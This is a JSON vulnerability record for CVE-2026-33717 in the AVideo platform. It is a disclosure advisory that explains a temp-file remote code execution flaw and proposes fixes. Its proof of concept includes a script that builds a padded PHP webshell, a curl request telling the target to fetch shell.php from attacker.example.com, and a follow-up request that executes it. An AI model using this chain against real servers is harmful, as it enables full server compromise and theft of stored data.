{"id":"CVE-2026-33717","aliases":["GHSA-8wf4-c4x3-h952"],"url":"https://o3.security/vulnerability/CVE-2026-33717","summary":"AVideo Vulnerable to Remote Code Execution via Persistent PHP Temp File in Encoder downloadURL with Resolution Validation Abort","details":"## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 — File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES['video']['name'] = basename($downloadURL);  // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES['video']['name'];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 — Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n    $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n    _error_log($msg);\n    forbiddenPage($msg);  // calls die() — execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) && isContentTypeJson()) {\n    // ...\n    die(json_encode($obj));  // line 573 — execution terminates\n}\n```\n\n**Step 3 — Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 — No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 — Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to >=20KB to pass the minimum size check\npython3 -c \"\npayload = b'<?php echo \\\"RCE:\\\".php_uname(); ?>'\npadding = b'\\n' + b'/' * (20001 - len(payload))\nopen('shell.php', 'wb').write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 — Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \\\n  -d 'user=uploader_username' \\\n  -d 'pass=uploader_password' \\\n  -d 'format=mp4' \\\n  -d 'downloadURL=https://attacker.example.com/shell.php' \\\n  -d 'resolution=9999'\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 — Access the persisted PHP file:**\n\n```bash\ncurl 'https://target.example.com/videos/cache/tmpFile/shell.php'\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise — read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n    global $global, $obj;\n    $downloadURL = trim($downloadURL);\n\n    // ... existing SSRF check ...\n\n    // NEW: Validate the file extension against allowed extensions\n    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n    if (!in_array($urlExtension, $global['allowedExtension'])) {\n        __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n        return false;\n    }\n\n    // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) — Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST['resolution'])) {\n    if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n        $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n        _error_log($msg);\n        forbiddenPage($msg);\n    }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n<FilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\">\n    Require all denied\n</FilesMatch>\nphp_flag engine off\n```","published":"2026-03-23T18:48:24.934Z","modified":"2026-08-12T03:51:20.391577004Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00395,"percentile":0.32383,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2","label":"WWBN/AVideo@6da79b4"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33717.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33717"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:20.391577004Z"}}